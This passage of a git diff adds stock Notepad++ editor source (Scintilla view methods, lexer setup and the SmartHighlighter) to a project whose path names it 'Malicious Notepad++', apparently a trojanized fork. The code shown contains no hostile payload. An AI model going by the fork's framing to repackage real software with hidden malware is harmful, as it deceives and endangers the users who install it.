LINEWRAP_ALIGNED)?SC_WRAPINDENT_SAME:\ + (meth == LINEWRAP_INDENT)?SC_WRAPINDENT_INDENT:SC_WRAPINDENT_FIXED; + execute(SCI_SETWRAPINDENTMODE, mode); + }; + + + void showWSAndTab(bool willBeShowed = true) { + execute(SCI_SETVIEWWS, willBeShowed?SCWS_VISIBLEALWAYS:SCWS_INVISIBLE); + execute(SCI_SETWHITESPACESIZE, 2, 0); + }; + + void showEOL(bool willBeShowed = true) { + execute(SCI_SETVIEWEOL, willBeShowed); + }; + + bool isEolVisible() { + return (execute(SCI_GETVIEWEOL) != 0); + }; + void showInvisibleChars(bool willBeShowed = true) { + showWSAndTab(willBeShowed); + showEOL(willBeShowed); + }; + + bool isInvisibleCharsShown() { + return (execute(SCI_GETVIEWWS) != 0); + }; + + void showIndentGuideLine(bool willBeShowed = true) { + execute(SCI_SETINDENTATIONGUIDES, willBeShowed ? SC_IV_LOOKBOTH : SC_IV_NONE); + }; + + bool isShownIndentGuide() const { + return (execute(SCI_GETINDENTATIONGUIDES) != 0); + }; + + void wrap(bool willBeWrapped = true) { + execute(SCI_SETWRAPMODE, willBeWrapped); + }; + + bool isWrap() const { + return (execute(SCI_GETWRAPMODE) == SC_WRAP_WORD); + }; + + bool isWrapSymbolVisible() const { + return (execute(SCI_GETWRAPVISUALFLAGS) != SC_WRAPVISUALFLAG_NONE); + }; + + void showWrapSymbol(bool willBeShown = true) { + execute(SCI_SETWRAPVISUALFLAGSLOCATION, SC_WRAPVISUALFLAGLOC_DEFAULT); + execute(SCI_SETWRAPVISUALFLAGS, willBeShown?SC_WRAPVISUALFLAG_END:SC_WRAPVISUALFLAG_NONE); + }; + + size_t getCurrentLineNumber()const { + return static_cast(execute(SCI_LINEFROMPOSITION, execute(SCI_GETCURRENTPOS))); + }; + + int32_t lastZeroBasedLineNumber() const { + auto endPos = execute(SCI_GETLENGTH); + return static_cast(execute(SCI_LINEFROMPOSITION, endPos)); + }; + + long getCurrentXOffset()const{ + return long(execute(SCI_GETXOFFSET)); + }; + + void setCurrentXOffset(long xOffset){ + execute(SCI_SETXOFFSET,xOffset); + }; + + void scroll(int column, int line){ + execute(SCI_LINESCROLL, column, line); + }; + + long getCurrentPointX()const{ + return long (execute(SCI_POINTXFROMPOSITION, 0, execute(SCI_GETCURRENTPOS))); + }; + + long getCurrentPointY()const{ + return long (execute(SCI_POINTYFROMPOSITION, 0, execute(SCI_GETCURRENTPOS))); + }; + + long getTextHeight()const{ + return long(execute(SCI_TEXTHEIGHT)); + }; + + void gotoLine(int line){ + if (line < execute(SCI_GETLINECOUNT)) + execute(SCI_GOTOLINE,line); + }; + + long getCurrentColumnNumber() const { + return long(execute(SCI_GETCOLUMN, execute(SCI_GETCURRENTPOS))); + }; + + bool getSelectedCount(int & selByte, int & selLine) const { + // return false if it's multi-selection or rectangle selection + if ((execute(SCI_GETSELECTIONS) > 1) || execute(SCI_SELECTIONISRECTANGLE)) + return false; + long pStart = long(execute(SCI_GETSELECTIONSTART)); + long pEnd = long(execute(SCI_GETSELECTIONEND)); + selByte = pEnd - pStart; + + long lStart = long(execute(SCI_LINEFROMPOSITION, pStart)); + long lEnd = long(execute(SCI_LINEFROMPOSITION, pEnd)); + selLine = lEnd - lStart; + if (selLine || selByte) + ++selLine; + + return true; + }; + + long getUnicodeSelectedLength() const + { + // return -1 if it's multi-selection or rectangle selection + if ((execute(SCI_GETSELECTIONS) > 1) || execute(SCI_SELECTIONISRECTANGLE)) + return -1; + auto size_selected = execute(SCI_GETSELTEXT); + char *selected = new char[size_selected + 1]; + execute(SCI_GETSELTEXT, 0, reinterpret_cast(selected)); + char *c = selected; + long length = 0; + while(*c != '\0') + { + if( (*c & 0xC0) != 0x80) + ++length; + ++c; + } + delete [] selected; + return length; + } + + + long getLineLength(int line) const { + return long(execute(SCI_GETLINEENDPOSITION, line) - execute(SCI_POSITIONFROMLINE, line)); + }; + + long getLineIndent(int line) const { + return long(execute(SCI_GETLINEINDENTATION, line)); + }; + + void setLineIndent(int line, int indent) const; + + void showLineNumbersMargin(bool show) + { + if (show == _lineNumbersShown) return; + _lineNumbersShown = show; + if (show) + { + updateLineNumberWidth(); + } + else + { + execute(SCI_SETMARGINWIDTHN, _SC_MARGE_LINENUMBER, 0); + } + } + + void updateLineNumberWidth(); + + void setCurrentLineHiLiting(bool isHiliting, COLORREF bgColor) const { + execute(SCI_SETCARETLINEVISIBLE, isHiliting); + if (!isHiliting) + return; + execute(SCI_SETCARETLINEBACK, bgColor); + }; + + bool isCurrentLineHiLiting() const { + return (execute(SCI_GETCARETLINEVISIBLE) != 0); + }; + + void performGlobalStyles(); + + void expand(int &line, bool doExpand, bool force = false, int visLevels = 0, int level = -1); + + std::pair getSelectionLinesRange() const; + void currentLinesUp() const; + void currentLinesDown() const; + + void changeCase(__inout wchar_t * const strWToConvert, const int & nbChars, const TextCase & caseToConvert) const; + void convertSelectedTextTo(const TextCase & caseToConvert); + void setMultiSelections(const ColumnModeInfos & cmi); + + void convertSelectedTextToLowerCase() { + // if system is w2k or xp + if ((NppParameters::getInstance())->isTransparentAvailable()) + convertSelectedTextTo(LOWERCASE); + else + execute(SCI_LOWERCASE); + }; + + void convertSelectedTextToUpperCase() { + // if system is w2k or xp + if ((NppParameters::getInstance())->isTransparentAvailable()) + convertSelectedTextTo(UPPERCASE); + else + execute(SCI_UPPERCASE); + }; + + void convertSelectedTextToNewerCase(const TextCase & caseToConvert) { + // if system is w2k or xp + if ((NppParameters::getInstance())->isTransparentAvailable()) + convertSelectedTextTo(caseToConvert); + else + ::MessageBox(_hSelf, TEXT("This function needs a newer OS version."), TEXT("Change Case Error"), MB_OK | MB_ICONHAND); + }; + + void collapse(int level2Collapse, bool mode); + void foldAll(bool mode); + void fold(size_t line, bool mode); + bool isFolded(int line){ + return (execute(SCI_GETFOLDEXPANDED, line) != 0); + }; + void foldCurrentPos(bool mode); + int getCodepage() const {return _codepage;}; + + NppParameters * getParameter() { + return _pParameter; + }; + + ColumnModeInfos getColumnModeSelectInfo(); + + void columnReplace(ColumnModeInfos & cmi, const TCHAR *str); + void columnReplace(ColumnModeInfos & cmi, int initial, int incr, int repeat, UCHAR format); + + void foldChanged(int line, int levelNow, int levelPrev); + void clearIndicator(int indicatorNumber) { + int docStart = 0; + int docEnd = getCurrentDocLen(); + execute(SCI_SETINDICATORCURRENT, indicatorNumber); + execute(SCI_INDICATORCLEARRANGE, docStart, docEnd-docStart); + }; + + static LanguageName langNames[L_EXTERNAL+1]; + + void bufferUpdated(Buffer * buffer, int mask); + BufferID getCurrentBufferID() { return _currentBufferID; }; + Buffer * getCurrentBuffer() { return _currentBuffer; }; + void setCurrentBuffer(Buffer *buf2set) { _currentBuffer = buf2set; }; + void styleChange(); + + void hideLines(); + + bool markerMarginClick(int lineNumber); //true if it did something + void notifyMarkers(Buffer * buf, bool isHide, int location, bool del); + void runMarkers(bool doHide, int searchStart, bool endOfDoc, bool doDelete); + + bool isSelecting() const { + static CharacterRange previousSelRange = getSelection(); + CharacterRange currentSelRange = getSelection(); + + if (currentSelRange.cpMin == currentSelRange.cpMax) + { + previousSelRange = currentSelRange; + return false; + } + + if ((previousSelRange.cpMin == currentSelRange.cpMin) || (previousSelRange.cpMax == currentSelRange.cpMax)) + { + previousSelRange = currentSelRange; + return true; + } + + previousSelRange = currentSelRange; + return false; + }; + + void defineDocType(LangType typeDoc); //setup stylers for active document + + void addCustomWordChars(); + void restoreDefaultWordChars(); + void setWordChars(); + + void mouseWheel(WPARAM wParam, LPARAM lParam) { + scintillaNew_Proc(_hSelf, WM_MOUSEWHEEL, wParam, lParam); + }; + + void setHotspotStyle(Style& styleToSet); + void setTabSettings(Lang *lang); + bool isWrapRestoreNeeded() const {return _wrapRestoreNeeded;}; + void setWrapRestoreNeeded(bool isWrapRestoredNeeded) {_wrapRestoreNeeded = isWrapRestoredNeeded;}; + + bool isCJK() const { + return ((_codepage == CP_CHINESE_TRADITIONAL) || (_codepage == CP_CHINESE_SIMPLIFIED) || + (_codepage == CP_JAPANESE) || (_codepage == CP_KOREAN)); + }; + void scrollPosToCenter(size_t pos); + generic_string getEOLString(); + void setBorderEdge(bool doWithBorderEdge); + void sortLines(size_t fromLine, size_t toLine, ISorter *pSort); + void changeTextDirection(bool isRTL); + bool isTextDirectionRTL() const; + +protected: + static HINSTANCE _hLib; + static int _refCount; + + static UserDefineDialog _userDefineDlg; + + static const int _markersArray[][NB_FOLDER_STATE]; + + static LRESULT CALLBACK scintillaStatic_Proc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + LRESULT scintillaNew_Proc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + + SCINTILLA_FUNC _pScintillaFunc = nullptr; + SCINTILLA_PTR _pScintillaPtr = nullptr; + static WNDPROC _scintillaDefaultProc; + CallWindowProcFunc _callWindowProc = nullptr; + BufferID attachDefaultDoc(); + + //Store the current buffer so it can be retrieved later + BufferID _currentBufferID = nullptr; + Buffer * _currentBuffer = nullptr; + + NppParameters *_pParameter = nullptr; + int _codepage = CP_ACP; + bool _lineNumbersShown = false; + bool _wrapRestoreNeeded = false; + + typedef std::unordered_map StyleMap; + typedef std::unordered_map BufferStyleMap; + BufferStyleMap _hotspotStyles; + + int _beginSelectPosition = -1; + + static std::string _defaultCharList; + +//Lexers and Styling + void restyleBuffer(); + const char * getCompleteKeywordList(std::basic_string & kwl, LangType langType, int keywordIndex); + void setKeywords(LangType langType, const char *keywords, int index); + void setLexer(int lexerID, LangType langType, int whichList); + inline void makeStyle(LangType langType, const TCHAR **keywordArray = NULL); + void setStyle(Style styleToSet); //NOT by reference (style edited) + void setSpecialStyle(const Style & styleToSet); //by reference + void setSpecialIndicator(const Style & styleToSet) { + execute(SCI_INDICSETFORE, styleToSet._styleID, styleToSet._bgColor); + }; + + //Complex lexers (same lexer, different language) + void setXmlLexer(LangType type); + void setCppLexer(LangType type); + void setJsLexer(); + void setTclLexer(); + void setObjCLexer(LangType type); + void setUserLexer(const TCHAR *userLangName = NULL); + void setExternalLexer(LangType typeDoc); + void setEmbeddedJSLexer(); + void setEmbeddedPhpLexer(); + void setEmbeddedAspLexer(); + void setJsonLexer(); + //Simple lexers + void setCssLexer() { + setLexer(SCLEX_CSS, L_CSS, LIST_0 | LIST_1); + }; + + void setLuaLexer() { + setLexer(SCLEX_LUA, L_LUA, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setMakefileLexer() { + execute(SCI_SETLEXER, SCLEX_MAKEFILE); + makeStyle(L_MAKEFILE); + }; + + void setIniLexer() { + execute(SCI_SETLEXER, SCLEX_PROPERTIES); + execute(SCI_STYLESETEOLFILLED, SCE_PROPS_SECTION, true); + makeStyle(L_INI); + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.compact"), reinterpret_cast("0")); + }; + + + void setSqlLexer() { + const bool kbBackSlash = NppParameters::getInstance()->getNppGUI()._backSlashIsEscapeCharacterForSql; + setLexer(SCLEX_SQL, L_SQL, LIST_0); + execute(SCI_SETPROPERTY, reinterpret_cast("sql.backslash.escapes"), reinterpret_cast(kbBackSlash ? "1" : "0")); + }; + + void setBashLexer() { + setLexer(SCLEX_BASH, L_BASH, LIST_0); + }; + + void setVBLexer() { + setLexer(SCLEX_VB, L_VB, LIST_0); + }; + + void setPascalLexer() { + setLexer(SCLEX_PASCAL, L_PASCAL, LIST_0); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.preprocessor"), reinterpret_cast("1")); + }; + + void setPerlLexer() { + setLexer(SCLEX_PERL, L_PERL, LIST_0); + }; + + void setPythonLexer() { + setLexer(SCLEX_PYTHON, L_PYTHON, LIST_0 | LIST_1); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.quotes.python"), reinterpret_cast("1")); + }; + + void setBatchLexer() { + setLexer(SCLEX_BATCH, L_BATCH, LIST_0); + }; + + void setTeXLexer() { + for (int i = 0 ; i < 4 ; ++i) + execute(SCI_SETKEYWORDS, i, reinterpret_cast(TEXT(""))); + setLexer(SCLEX_TEX, L_TEX, 0); + }; + + void setNsisLexer() { + setLexer(SCLEX_NSIS, L_NSIS, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setFortranLexer() { + setLexer(SCLEX_FORTRAN, L_FORTRAN, LIST_0 | LIST_1 | LIST_2); + }; + + void setFortran77Lexer() { + setLexer(SCLEX_F77, L_FORTRAN_77, LIST_0 | LIST_1 | LIST_2); + }; + + void setLispLexer(){ + setLexer(SCLEX_LISP, L_LISP, LIST_0 | LIST_1); + }; + + void setSchemeLexer(){ + setLexer(SCLEX_LISP, L_SCHEME, LIST_0 | LIST_1); + }; + + void setAsmLexer(){ + setLexer(SCLEX_ASM, L_ASM, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5); + }; + + void setDiffLexer(){ + setLexer(SCLEX_DIFF, L_DIFF, LIST_NONE); + }; + + void setPropsLexer(){ + setLexer(SCLEX_PROPERTIES, L_PROPS, LIST_NONE); + }; + + void setPostscriptLexer(){ + setLexer(SCLEX_PS, L_PS, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setRubyLexer(){ + setLexer(SCLEX_RUBY, L_RUBY, LIST_0); + execute(SCI_STYLESETEOLFILLED, SCE_RB_POD, true); + }; + + void setSmalltalkLexer(){ + setLexer(SCLEX_SMALLTALK, L_SMALLTALK, LIST_0); + }; + + void setVhdlLexer(){ + setLexer(SCLEX_VHDL, L_VHDL, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5 | LIST_6); + }; + + void setKixLexer(){ + setLexer(SCLEX_KIX, L_KIX, LIST_0 | LIST_1 | LIST_2); + }; + + void setAutoItLexer(){ + setLexer(SCLEX_AU3, L_AU3, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5 | LIST_6); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.preprocessor"), reinterpret_cast("1")); + }; + + void setCamlLexer(){ + setLexer(SCLEX_CAML, L_CAML, LIST_0 | LIST_1 | LIST_2); + }; + + void setAdaLexer(){ + setLexer(SCLEX_ADA, L_ADA, LIST_0); + }; + + void setVerilogLexer(){ + setLexer(SCLEX_VERILOG, L_VERILOG, LIST_0 | LIST_1); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.preprocessor"), reinterpret_cast("1")); + }; + + void setMatlabLexer(){ + setLexer(SCLEX_MATLAB, L_MATLAB, LIST_0); + }; + + void setHaskellLexer(){ + setLexer(SCLEX_HASKELL, L_HASKELL, LIST_0); + }; + + void setInnoLexer() { + setLexer(SCLEX_INNOSETUP, L_INNO, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5); + }; + + void setCmakeLexer() { + setLexer(SCLEX_CMAKE, L_CMAKE, LIST_0 | LIST_1 | LIST_2); + }; + + void setYamlLexer() { + setLexer(SCLEX_YAML, L_YAML, LIST_0); + }; + + //-------------------- + + void setCobolLexer() { + setLexer(SCLEX_COBOL, L_COBOL, LIST_0 | LIST_1 | LIST_2); + }; + void setGui4CliLexer() { + setLexer(SCLEX_GUI4CLI, L_GUI4CLI, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4); + }; + void setDLexer() { + setLexer(SCLEX_D, L_D, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5 | LIST_6); + }; + void setPowerShellLexer() { + setLexer(SCLEX_POWERSHELL, L_POWERSHELL, LIST_0 | LIST_1 | LIST_2 | LIST_5); + }; + void setRLexer() { + setLexer(SCLEX_R, L_R, LIST_0 | LIST_1 | LIST_2); + }; + + void setCoffeeScriptLexer() { + setLexer(SCLEX_COFFEESCRIPT, L_COFFEESCRIPT, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setBaanCLexer() { + setLexer(SCLEX_BAAN, L_BAANC, LIST_0 | LIST_1); + execute(SCI_SETPROPERTY, reinterpret_cast("styling.within.preprocessor"), reinterpret_cast("1")); + }; + + void setSrecLexer() { + setLexer(SCLEX_SREC, L_SREC, LIST_NONE); + }; + + void setIHexLexer() { + setLexer(SCLEX_IHEX, L_IHEX, LIST_NONE); + }; + + void setTEHexLexer() { + setLexer(SCLEX_TEHEX, L_TEHEX, LIST_NONE); + }; + + void setAsn1Lexer() { + setLexer(SCLEX_ASN1, L_ASN1, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setAVSLexer() { + setLexer(SCLEX_AVS, L_AVS, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5); + execute(SCI_SETWORDCHARS, 0, reinterpret_cast("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_#")); + }; + + void setBlitzBasicLexer() { + setLexer(SCLEX_BLITZBASIC, L_BLITZBASIC, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setPureBasicLexer() { + setLexer(SCLEX_PUREBASIC, L_PUREBASIC, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setFreeBasicLexer() { + setLexer(SCLEX_FREEBASIC, L_FREEBASIC, LIST_0 | LIST_1 | LIST_2 | LIST_3); + }; + + void setCsoundLexer() { + setLexer(SCLEX_CSOUND, L_CSOUND, LIST_0 | LIST_1 | LIST_2); + execute(SCI_STYLESETEOLFILLED, SCE_CSOUND_STRINGEOL, true); + }; + + void setErlangLexer() { + setLexer(SCLEX_ERLANG, L_ERLANG, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5); + }; + + void setESCRIPTLexer() { + setLexer(SCLEX_ESCRIPT, L_ESCRIPT, LIST_0 | LIST_1 | LIST_2); + }; + + void setForthLexer() { + setLexer(SCLEX_FORTH, L_FORTH, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5); + execute(SCI_SETWORDCHARS, 0, reinterpret_cast("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%-")); + }; + + void setLatexLexer() { + setLexer(SCLEX_LATEX, L_LATEX, LIST_NONE); + }; + + void setMMIXALLexer() { + setLexer(SCLEX_MMIXAL, L_MMIXAL, LIST_0 | LIST_1 | LIST_2); + }; + + void setNimrodLexer() { + setLexer(SCLEX_NIMROD, L_NIMROD, LIST_0); + }; + + void setNncrontabLexer() { + setLexer(SCLEX_NNCRONTAB, L_NNCRONTAB, LIST_0 | LIST_1 | LIST_2); + execute(SCI_SETWORDCHARS, 0, reinterpret_cast("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%-")); + }; + + void setOScriptLexer() { + setLexer(SCLEX_OSCRIPT, L_OSCRIPT, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5); + execute(SCI_SETWORDCHARS, 0, reinterpret_cast("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$")); + }; + + void setREBOLLexer() { + setLexer(SCLEX_REBOL, L_REBOL, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5 | LIST_6); + execute(SCI_SETWORDCHARS, 0, reinterpret_cast("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!.’+-*&|=_~")); + }; + + void setRegistryLexer() { + setLexer(SCLEX_REGISTRY, L_REGISTRY, LIST_NONE); + }; + + void setRustLexer() { + setLexer(SCLEX_RUST, L_RUST, LIST_0 | LIST_1 | LIST_2 | LIST_3 | LIST_4 | LIST_5 | LIST_6); + execute(SCI_SETWORDCHARS, 0, reinterpret_cast("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_#")); + }; + + void setSpiceLexer() { + setLexer(SCLEX_SPICE, L_SPICE, LIST_0 | LIST_1 | LIST_2); + }; + + void setTxt2tagsLexer() { + setLexer(SCLEX_TXT2TAGS, L_TXT2TAGS, LIST_NONE); + }; + + void setVisualPrologLexer() { + setLexer(SCLEX_VISUALPROLOG, L_VISUALPROLOG, LIST_0 | LIST_1 | LIST_2 | LIST_3); + } + + //-------------------- + + void setSearchResultLexer() { + execute(SCI_STYLESETEOLFILLED, SCE_SEARCHRESULT_FILE_HEADER, true); + execute(SCI_STYLESETEOLFILLED, SCE_SEARCHRESULT_SEARCH_HEADER, true); + setLexer(SCLEX_SEARCHRESULT, L_SEARCHRESULT, 0); + }; + + bool isNeededFolderMarge(LangType typeDoc) const { + switch (typeDoc) + { + case L_ASCII: + case L_BATCH: + case L_TEXT: + case L_MAKEFILE: + case L_ASM: + case L_HASKELL: + case L_PROPS: + case L_SMALLTALK: + case L_KIX: + case L_ADA: + return false; + default: + return true; + } + }; +//END: Lexers and Styling + + void defineMarker(int marker, int markerType, COLORREF fore, COLORREF back, COLORREF foreActive) { + execute(SCI_MARKERDEFINE, marker, markerType); + execute(SCI_MARKERSETFORE, marker, fore); + execute(SCI_MARKERSETBACK, marker, back); + execute(SCI_MARKERSETBACKSELECTED, marker, foreActive); + }; + + int codepage2CharSet() const { + switch (_codepage) + { + case CP_CHINESE_TRADITIONAL : return SC_CHARSET_CHINESEBIG5; + case CP_CHINESE_SIMPLIFIED : return SC_CHARSET_GB2312; + case CP_KOREAN : return SC_CHARSET_HANGUL; + case CP_JAPANESE : return SC_CHARSET_SHIFTJIS; + case CP_GREEK : return SC_CHARSET_GREEK; + default : return 0; + } + }; + + std::pair getWordRange(); + bool expandWordSelection(); + void getFoldColor(COLORREF& fgColor, COLORREF& bgColor, COLORREF& activeFgColor); +}; + diff --git a/Malicious Notepad++/src/ScitillaComponent/ScintillaRef.h b/Malicious Notepad++/src/ScitillaComponent/ScintillaRef.h new file mode 100644 index 0000000..2c4c811 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/ScintillaRef.h @@ -0,0 +1,35 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef SCINTILLA_REF_H +#define SCINTILLA_REF_H + +enum folderStyle {FOLDER_TYPE, FOLDER_STYLE_SIMPLE, FOLDER_STYLE_ARROW, FOLDER_STYLE_CIRCLE, FOLDER_STYLE_BOX, FOLDER_STYLE_NONE}; +enum lineWrapMethod {LINEWRAP_DEFAULT, LINEWRAP_ALIGNED, LINEWRAP_INDENT}; + +#endif //SCINTILLA_REF_H diff --git a/Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.cpp b/Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.cpp new file mode 100644 index 0000000..f61e23f --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.cpp @@ -0,0 +1,176 @@ +// this file is part of notepad++ +// Copyright (C)2003 Harry +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "SmartHighlighter.h" +#include "ScintillaEditView.h" +#include "FindReplaceDlg.h" + +#define MAXLINEHIGHLIGHT 400 //prevent highlighter from doing too much work when a lot is visible + +SmartHighlighter::SmartHighlighter(FindReplaceDlg * pFRDlg) +: _pFRDlg(pFRDlg) +{ + //Nothing to do +} + +void SmartHighlighter::highlightViewWithWord(ScintillaEditView * pHighlightView, const generic_string & word2Hilite) +{ + // save target locations for other search functions + auto originalStartPos = pHighlightView->execute(SCI_GETTARGETSTART); + auto originalEndPos = pHighlightView->execute(SCI_GETTARGETEND); + + // Get the range of text visible and highlight everything in it + auto firstLine = static_cast(pHighlightView->execute(SCI_GETFIRSTVISIBLELINE)); + auto nbLineOnScreen = pHighlightView->execute(SCI_LINESONSCREEN); + auto nbLines = min(nbLineOnScreen, MAXLINEHIGHLIGHT) + 1; + auto lastLine = firstLine + nbLines; + int startPos = 0; + int endPos = 0; + auto currentLine = firstLine; + int prevDocLineChecked = -1; //invalid start + + // Determine mode for SmartHighlighting + bool isWordOnly = true; + bool isCaseSensentive = true; + + const NppGUI & nppGUI = NppParameters::getInstance()->getNppGUI(); + + if (nppGUI._smartHiliteUseFindSettings) + { + // fetch find dialog's setting + NppParameters *nppParams = NppParameters::getInstance(); + FindHistory &findHistory = nppParams->getFindHistory(); + isWordOnly = findHistory._isMatchWord; + isCaseSensentive = findHistory._isMatchCase; + } + else + { + isWordOnly = nppGUI._smartHiliteWordOnly; + isCaseSensentive = nppGUI._smartHiliteCaseSensitive; + } + + FindOption fo; + fo._isMatchCase = isCaseSensentive; + fo._isWholeWord = isWordOnly; + + FindReplaceInfo frInfo; + frInfo._txt2find = word2Hilite.c_str(); + + for (; currentLine < lastLine; ++currentLine) + { + int docLine = static_cast(pHighlightView->execute(SCI_DOCLINEFROMVISIBLE, currentLine)); + if (docLine == prevDocLineChecked) + continue; //still on same line (wordwrap) + prevDocLineChecked = docLine; + startPos = static_cast(pHighlightView->execute(SCI_POSITIONFROMLINE, docLine)); + endPos = static_cast(pHighlightView->execute(SCI_POSITIONFROMLINE, docLine + 1)); + + frInfo._startRange = startPos; + frInfo._endRange = endPos; + if (endPos == -1) + { //past EOF + frInfo._endRange = pHighlightView->getCurrentDocLen() - 1; + _pFRDlg->processRange(ProcessMarkAll_2, frInfo, NULL, &fo, -1, pHighlightView); + break; + } + else + { + _pFRDlg->processRange(ProcessMarkAll_2, frInfo, NULL, &fo, -1, pHighlightView); + } + } + + // restore the original targets to avoid conflicts with the search/replace functions + pHighlightView->execute(SCI_SETTARGETRANGE, originalStartPos, originalEndPos); +} + +void SmartHighlighter::highlightView(ScintillaEditView * pHighlightView, ScintillaEditView * unfocusView) +{ + // Clear marks + pHighlightView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_SMART); + + const NppGUI & nppGUI = NppParameters::getInstance()->getNppGUI(); + + // If nothing selected, dont mark anything + if (pHighlightView->execute(SCI_GETSELECTIONEMPTY) == 1) + { + if (nppGUI._smartHiliteOnAnotherView && unfocusView && unfocusView->isVisible() + && unfocusView->getCurrentBufferID() != pHighlightView->getCurrentBufferID()) + { + unfocusView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_SMART); + } + return; + } + + auto curPos = pHighlightView->execute(SCI_GETCURRENTPOS); + auto range = pHighlightView->getSelection(); + + // Determine mode for SmartHighlighting + bool isWordOnly = true; + + if (nppGUI._smartHiliteUseFindSettings) + { + // fetch find dialog's setting + NppParameters *nppParams = NppParameters::getInstance(); + FindHistory &findHistory = nppParams->getFindHistory(); + isWordOnly = findHistory._isMatchWord; + } + else + { + isWordOnly = nppGUI._smartHiliteWordOnly; + } + + // additional checks for wordOnly mode + // Make sure the "word" positions match the current selection + if (isWordOnly) + { + auto wordStart = pHighlightView->execute(SCI_WORDSTARTPOSITION, curPos, true); + auto wordEnd = pHighlightView->execute(SCI_WORDENDPOSITION, wordStart, true); + + if (wordStart == wordEnd || wordStart != range.cpMin || wordEnd != range.cpMax) + return; + } + + int textlen = range.cpMax - range.cpMin + 1; + char * text2Find = new char[textlen]; + pHighlightView->getSelectedText(text2Find, textlen, false); //do not expand selection (false) + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(pHighlightView->execute(SCI_GETCODEPAGE)); + const TCHAR * text2FindW = wmc->char2wchar(text2Find, cp); + + highlightViewWithWord(pHighlightView, text2FindW); + + if (nppGUI._smartHiliteOnAnotherView && unfocusView && unfocusView->isVisible() + && unfocusView->getCurrentBufferID() != pHighlightView->getCurrentBufferID()) + { + // Clear marks + unfocusView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_SMART); + highlightViewWithWord(unfocusView, text2FindW); + } + + delete[] text2Find; +} diff --git a/Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.h b/Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.h new file mode 100644 index 0000000..0562c35 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.h @@ -0,0 +1,46 @@ +// this file is part of notepad++ +// Copyright (C)2003 Harry +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 